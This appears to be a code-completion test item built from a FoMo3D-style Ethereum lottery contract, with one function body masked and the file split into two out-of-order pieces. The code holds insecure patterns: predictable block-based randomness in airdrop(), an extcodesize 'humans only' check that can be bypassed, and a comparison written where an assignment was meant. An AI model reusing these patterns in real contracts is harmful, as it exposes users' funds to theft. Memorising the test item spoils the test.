* - max length of 32 characters long
* - allowed characters: a-z, 0-9, and space
* -functionhash- 0x921dec21 (using ID for affiliate)
* -functionhash- 0x3ddd4698 (using address for affiliate)
* -functionhash- 0x685ffd83 (using name for affiliate)
* @param _nameString players desired name
* @param _affCode affiliate ID, address, or name of who referred you
* @param _all set to true if you want this to push your info to all games
* (this might cost a lot of gas)
*/
function registerNameXID(string _nameString, uint256 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXIDFromDapp.value(_paid)(_addr, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXaddr(string _nameString, address _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXaddrFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
function registerNameXname(string _nameString, bytes32 _affCode, bool _all)
isHuman()
public
payable
{
bytes32 _name = _nameString.nameFilter();
address _addr = msg.sender;
uint256 _paid = msg.value;
(bool _isNewPlayer, uint256 _affID) = PlayerBook.registerNameXnameFromDapp.value(msg.value)(msg.sender, _name, _affCode, _all);
uint256 _pID = pIDxAddr_[_addr];
// fire event
emit F3Devents.onNewName(_pID, _addr, _name, _isNewPlayer, _affID, plyr_[_affID].addr, plyr_[_affID].name, _paid, now);
}
//==============================================================================
// _ _ _|__|_ _ _ _ .
// (_|(/_ | | (/_| _\ . (for UI & viewing things on etherscan)
//=====_|=======================================================================
/**
* @dev return the price buyer will pay for next 1 individual key.
* -functionhash- 0x018a25e8
* @return price for next key bought (in wei format)
*/
function getBuyPrice()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else // rounds over. need price for new round
return ( 75000000000000 ); // init
}
/**
* @dev returns time left. dont spam this, you'll ddos yourself from your node
* provider
* -functionhash- 0xc7e284b8
* @return time left in seconds
*/
function getTimeLeft()
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
/**
* @dev returns player earnings per vaults
* -functionhash- 0x63066434
* @return winnings vault
* @return general vault
* @return affiliate vault
*/
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{<FILL_FUNCTION_BODY> }
/**
* solidity hates stack limits. this lets us avoid that hate
*/
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
/**
* @dev returns all current round info needed for front end
* -functionhash- 0x747dff42
* @return eth invested during ICO phase
* @return round id
* @return total keys for round
* @return time round ends
* @return time round started
* @return current pot
* @return current team ID & player ID in lead
* @return current player in leads address
* @return current player in leads name
* @return whales eth in for round
* @return bears eth in for round
* @return sneks eth in for round
* @return bulls eth in for round
* @return airdrop tracker # & airdrop pot
*/
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
return
(
round_[_rID].ico, //0
_rID, //1
round_[_rID].keys, //2
round_[_rID].end, //3
round_[_rID].strt, //4
round_[_rID].pot, //5
(round_[_rID].team + (round_[_rID].plyr * 10)), //6
plyr_[round_[_rID].plyr].addr, //7
plyr_[round_[_rID].plyr].name, //8
rndTmEth_[_rID][0], //9
rndTmEth_[_rID][1], //10
rndTmEth_[_rID][2], //11
rndTmEth_[_rID][3], //12
airDropTracker_ + (airDropPot_ * 1000) //13
);
}
/**
* @dev returns player info based on address. if no address is given, it will
* use msg.sender
* -functionhash- 0xee0b5d8b
* @param _addr address of the player you want to lookup
* @return player ID
* @return player name
* @return keys owned (current round)
* @return winnings vault
* @return general vault
* @return affiliate vault
* @return player round eth
*/
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
// setup local rID
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID, //0
plyr_[_pID].name, //1
plyrRnds_[_pID][_rID].keys, //2
plyr_[_pID].win, //3
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)), //4
plyr_[_pID].aff, //5
plyrRnds_[_pID][_rID].eth //6
);
}
//==============================================================================
// _ _ _ _ | _ _ . _ .
// (_(_)| (/_ |(_)(_||(_ . (this + tools + calcs + modules = our softwares engine)
//=====================_|=======================================================
/**
* @dev logic runs whenever a buy order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// call core
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
// if round is not active
} else {
// check to see if end round needs to be ran
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
// put eth in players vault
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
/**
* @dev logic runs whenever a reload order is executed. determines how to handle
* incoming eth depending on if we are in an active round or not
*/
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// if round is active
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
// get earnings from all vaults and return unused to gen vault
// because we use a custom safemath library. this will throw if player
// tried to spend more eth than they have.
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
// call core
core(_rID, _pID, _eth, _affID, _team, _eventData_);
// if round is not active and end round needs to be ran
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
// end the round (distributes pot) & start new round
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
// build event data
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
// fire buy and distribute event
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
/**
* @dev this is the core logic for any buy/reload that happens while a round
* is live.
*/
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
// if player is new to round
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
// early round eth limiter
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 1000000000000000000)
{
uint256 _availableLimit = (1000000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
// if eth left is greater than min eth allowed (sorry no pocket lint)
if (_eth > 1000000000)
{
// mint the new keys
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
// if they bought at least 1 whole key
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
// set new leaders
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
// set the new leader bool to true
_eventData_.compressedData = _eventData_.compressedData + 100;
}
// store the air drop tracker number (number of buys since last airdrop)
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
// update player
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
// update round
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
// distribute eth
_eventData_ = distributeInternal(_rID, _pID, _eth, _affID, _team, _keys, _eventData_);
// call end tx function to fire end tx event.
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
//==============================================================================
// _ _ | _ | _ _|_ _ _ _ .
// (_(_||(_|_||(_| | (_)| _\ .
//==============================================================================
/**
* @dev calculates unmasked earnings (just calculates, does not update mask)
* @return earnings in wei format
*/
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
/**
* @dev returns the amount of keys you would get given an amount of eth.
* -functionhash- 0xce89c80c
* @param _rID round ID you want price for
* @param _eth amount of eth sent in
* @return keys received
*/
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else // rounds over. need keys for new round
return ( (_eth).keys() );
}
/**
* @dev returns current eth price for X keys.
* -functionhash- 0xcf808000
* @param _keys number of keys desired (in 18 decimal format)
* @return amount of eth needed to send
*/
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
// setup local rID
uint256 _rID = rID_;
// grab time
uint256 _now = now;
// are we in a round?
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else // rounds over. need price for new round
return ( (_keys).eth() );
}
//==============================================================================
// _|_ _ _ | _ .
// | (_)(_)|_\ .
//==============================================================================
/**
* @dev receives name/player info from names contract
*/
function receivePlayerInfo(uint256 _pID, address _addr, bytes32 _name, uint256 _laff)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if (pIDxAddr_[_addr] != _pID)
pIDxAddr_[_addr] = _pID;
if (pIDxName_[_name] != _pID)
pIDxName_[_name] = _pID;
if (plyr_[_pID].addr != _addr)
plyr_[_pID].addr = _addr;
if (plyr_[_pID].name != _name)
plyr_[_pID].name = _name;
if (plyr_[_pID].laff != _laff)
plyr_[_pID].laff = _laff;
if (plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev receives entire player name list
*/
function receivePlayerNameList(uint256 _pID, bytes32 _name)
external
{
require (msg.sender == address(PlayerBook), "your not playerNames contract... hmmm..");
if(plyrNames_[_pID][_name] == false)
plyrNames_[_pID][_name] = true;
}
/**
* @dev gets existing or registers new pID. use this when a player may be new
* @return pID
*/
function determinePID(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _pID = pIDxAddr_[msg.sender];
// if player is new to this version of fomo3d
if (_pID == 0)
{
// grab their player ID, name and last aff ID, from player names contract
_pID = PlayerBook.getPlayerID(msg.sender);
bytes32 _name = PlayerBook.getPlayerName(_pID);
uint256 _laff = PlayerBook.getPlayerLAff(_pID);
// set up player account
pIDxAddr_[msg.sender] = _pID;
plyr_[_pID].addr = msg.sender;
if (_name != "")
{
pIDxName_[_name] = _pID;
plyr_[_pID].name = _name;
plyrNames_[_pID][_name] = true;
}
if (_laff != 0 && _laff != _pID)
plyr_[_pID].laff = _laff;
// set the new player bool to true
_eventData_.compressedData = _eventData_.compressedData + 1;
}
return (_eventData_);
}
/**
* @dev checks to make sure user picked a valid team. if not sets team
* to default (sneks)
*/
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
/**
* @dev decides if round end needs to be run & new round started. and if
* player unmasked earnings from previously played rounds need to be moved.
*/
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// if player has played a previous round, move their unmasked earnings
// from that round to gen vault.
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
// update player's last round played
plyr_[_pID].lrnd = rID_;
// set the joined round bool to true
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
/**
* @dev ends the round. manages paying out winner/splitting up pot
*/
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
// setup local rID
uint256 _rID = rID_;
// grab our winning player and team id's
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
// grab our pot amount
uint256 _pot = round_[_rID].pot;
// calculate our winner share, community rewards, gen share,
// p3d share, and amount reserved for next pot
uint256 _win = (_pot.mul(80)) / 100;
uint256 _com = 0;
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = 0;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
// calculate ppt for round mask
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
// pay our winner
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
// distribute gen portion to key holders
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// prepare event data
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
// start next round
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
/**
* @dev moves any unmasked earnings to gen vault. updates earnings mask
*/
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
// put in gen vault
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
// zero out their earnings by updating mask
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
/**
* @dev updates round timer based on number of whole keys bought.
*/
function updateTimer(uint256 _keys, uint256 _rID)
private
{
// grab time
uint256 _now = now;
// calculate time based on number of keys bought
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
// compare to max and set new end time
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
/**
* @dev generates a random number between 0-99 and checks to see if thats
* resulted in an airdrop win
* @return do we have a winner?
*/
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function potSwap()
external
payable
{
// setup local rID
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
/**
* @dev distributes eth based on fees to gen and pot
*/
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
// calculate gen share
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _aff = _eth / 5;
// if the _affID is invalid, the portion goes into the pot
if (_affID != _pID && plyr_[_affID].name != '') {
_eth = _eth.sub(_aff);
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
}
// calculate pot
uint256 _pot = _eth.sub(_gen);
// distribute gen share (thats what updateMasks() does) and adjust
// balances for dust.
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
// add eth to pot
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
// set up event data
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
/**
* @dev updates masks for round and player when keys are bought
* @return dust left over
*/
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
/* MASKING NOTES
earnings masks are a tricky thing for people to wrap their minds around.
the basic thing to understand here. is were going to have a global
tracker based on profit per share for each round, that increases in
relevant proportion to the increase in share supply.
the player will have an additional mask that basically says "based
on the rounds mask, my shares, and how much i've already withdrawn,
how much is still owed to me?"
*/
// calc profit per key & round mask based on this buy: (dust goes to pot)
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
// calculate player earning from their own buy (only based on the keys
// they just bought). & update player earnings mask
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
// calculate & return dust
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
/**
* @dev adds up unmasked earnings, & vault earnings, sets them all to 0
* @return earnings in wei format
*/
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
// update gen vault
updateGenVault(_pID, plyr_[_pID].lrnd);
// from vaults
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
/**
* @dev prepares compression data and fires event for buy or reload tx's
*/
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
//==============================================================================
// (~ _ _ _._|_ .
// _)(/_(_|_|| | | \/ .
//====================/=========================================================
/** upon contract deploy, it will be deactivated. this is a one time
* use function that will activate the contract. we do this so devs
* have time to set things up on the web end **/
bool public activated_ = true;
} | contract FoMo3Dlong is modularLong {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcLong for uint256;
// TOBEFIXED: change contract address
PlayerBookInterface constant private PlayerBook = PlayerBookInterface(0x2Ddad27212769D5C87cba9112c6C232628F545bc);
//==============================================================================
// _ _ _ |`. _ _ _ |_ | _ _ .
// (_(_)| |~|~|(_||_|| (_||_)|(/__\ . (game settings)
//=================_|===========================================================
string constant public name = "FoMo3D Long Gold";
string constant public symbol = "F3DLG";
uint256 private rndExtra_ = 0; // length of the very first ICO , set to 0
uint256 private rndGap_ = 0; // length of ICO phase, set to 0
uint256 constant private rndInit_ = 1 hours; // round timer starts at this
uint256 constant private rndInc_ = 30 seconds; // every full key purchased adds this much to the timer
uint256 constant private rndMax_ = 24 hours; // max length a round timer can be
//==============================================================================
// _| _ _|_ _ _ _ _|_ _ .
// (_|(_| | (_| _\(/_ | |_||_) . (data used to store game info that changes)
//=============================|================================================
uint256 public airDropPot_; // person who gets the airdrop wins part of this pot
uint256 public airDropTracker_ = 0; // incremented each time a "qualified" tx occurs. used to determine winning air drop
uint256 public rID_; // round id number / total rounds that have happened
//****************
// PLAYER DATA
//****************
mapping (address => uint256) public pIDxAddr_; // (addr => pID) returns player id by address
mapping (bytes32 => uint256) public pIDxName_; // (name => pID) returns player id by name
mapping (uint256 => F3Ddatasets.Player) public plyr_; // (pID => data) player data
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_; // (pID => rID => data) player round data by player id & round id
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_; // (pID => name => bool) list of names a player owns. (used so you can change your display name amongst any name you own)
//****************
// ROUND DATA
//****************
mapping (uint256 => F3Ddatasets.Round) public round_; // (rID => data) round data
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_; // (rID => tID => data) eth in per team, by round id and team id
//****************
// TEAM FEE DATA
//****************
mapping (uint256 => F3Ddatasets.TeamFee) public fees_; // (team => fees) fee distribution by team
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_; // (team => fees) pot split distribution by team
//==============================================================================
// _ _ _ __|_ _ __|_ _ _ .
// (_(_)| |_\ | | |_|(_ | (_)| . (initial data setup upon contract deploy)
//==============================================================================
constructor()
public
{
// Team allocation structures
// 0 = whales
// 1 = bears
// 2 = sneks
// 3 = bulls
// Team allocation percentages
// (F3D, P3D) + (Pot , Referrals, Community)
// Referrals / Community rewards are mathematically designed to come from the winner's share of the pot.
fees_[0] = F3Ddatasets.TeamFee(60,0); //20% to pot, 20% to aff, 0% to com, 0% to pot swap, 0% to air drop pot
fees_[1] = F3Ddatasets.TeamFee(60,0); //20% to pot, 20% to aff, 0% to com, 0% to pot swap, 0% to air drop pot
fees_[2] = F3Ddatasets.TeamFee(60,0); //20% to pot, 20% to aff, 0% to com, 0% to pot swap, 0% to air drop pot
fees_[3] = F3Ddatasets.TeamFee(60,0); //20% to pot, 20% to aff, 0% to com, 0% to pot swap, 0% to air drop pot
// how to split up the final pot based on which team was picked
// (F3D, P3D)
potSplit_[0] = F3Ddatasets.PotSplit(20,0); //80% to winner, 0% to next round, 0% to com
potSplit_[1] = F3Ddatasets.PotSplit(20,0); //80% to winner, 0% to next round, 0% to com
potSplit_[2] = F3Ddatasets.PotSplit(20,0); //80% to winner, 0% to next round, 0% to com
potSplit_[3] = F3Ddatasets.PotSplit(20,0); //80% to winner, 0% to next round, 0% to com
}
//==============================================================================
// _ _ _ _|. |`. _ _ _ .
// | | |(_)(_||~|~|(/_| _\ . (these are safety checks)
//==============================================================================
/**
* @dev used to make sure no one can interact with contract until it has
* been activated.
*/
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
/**
* @dev prevents contracts from interacting with fomo3d
*/
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
/**
* @dev sets boundaries for incoming tx
*/
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
//==============================================================================
// _ |_ |. _ |` _ __|_. _ _ _ .
// |_)|_||_)||(_ ~|~|_|| |(_ | |(_)| |_\ . (use these to interact with contract)
//====|=========================================================================
/**
* @dev emergency buy uses last stored affiliate ID and team snek
*/
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// buy core
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
/**
* @dev converts all incoming ethereum to keys.
* -functionhash- 0x8f38f309 (using ID for affiliate)
* -functionhash- 0x98a0871d (using address for affiliate)
* -functionhash- 0xa65b37a1 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
*/
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == address(0) || _affCode == msg.sender)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxAddr_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
// set up our tx event data and determine if player is new or not
F3Ddatasets.EventReturns memory _eventData_ = determinePID(_eventData_);
// fetch player id
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
// use last stored affiliate code
_affID = plyr_[_pID].laff;
// if affiliate code was given
} else {
// get affiliate ID from aff Code
_affID = pIDxName_[_affCode];
// if affID is not the same as previously stored
if (_affID != plyr_[_pID].laff)
{
// update last affiliate
plyr_[_pID].laff = _affID;
}
}
// verify a valid team was selected
_team = verifyTeam(_team);
// buy core
buyCore(_pID, _affID, _team, _eventData_);
}
/**
* @dev essentially the same as buy, but instead of you sending ether
* from your wallet, it uses your unwithdrawn earnings.
* -functionhash- 0x349cdcac (using ID for affiliate)
* -functionhash- 0x82bfc739 (using address for affiliate)
* -functionhash- 0x079ce327 (using name for affiliate)
* @param _affCode the ID/address/name of the player who gets the affiliate fee
* @param _team what team is the player playing for?
* @param _eth amount of earnings to use (remainder returned to gen vault)
*/
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
// if no affiliate code was given or player tried to use their own, lolz
if (_affCode == 0 || _affCode == _pID)
{
// use last stored affiliate code
_affCode = plyr_[_pID].laff;
// if affiliate code was given & its not the same as previously stored
} else if (_affCode != plyr_[_pID].laff) {
// update last affiliate
plyr_[_pID].laff = _affCode;
}
// verify a valid team was selected
_team = verifyTeam(_team);
// reload core
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
// set up our tx event data
F3Ddatasets.EventReturns memory _eventData_;
// fetch player ID
uint256 _pID = pIDxAddr_[msg.sender];
// manage affiliate residuals
uint256 _affID;
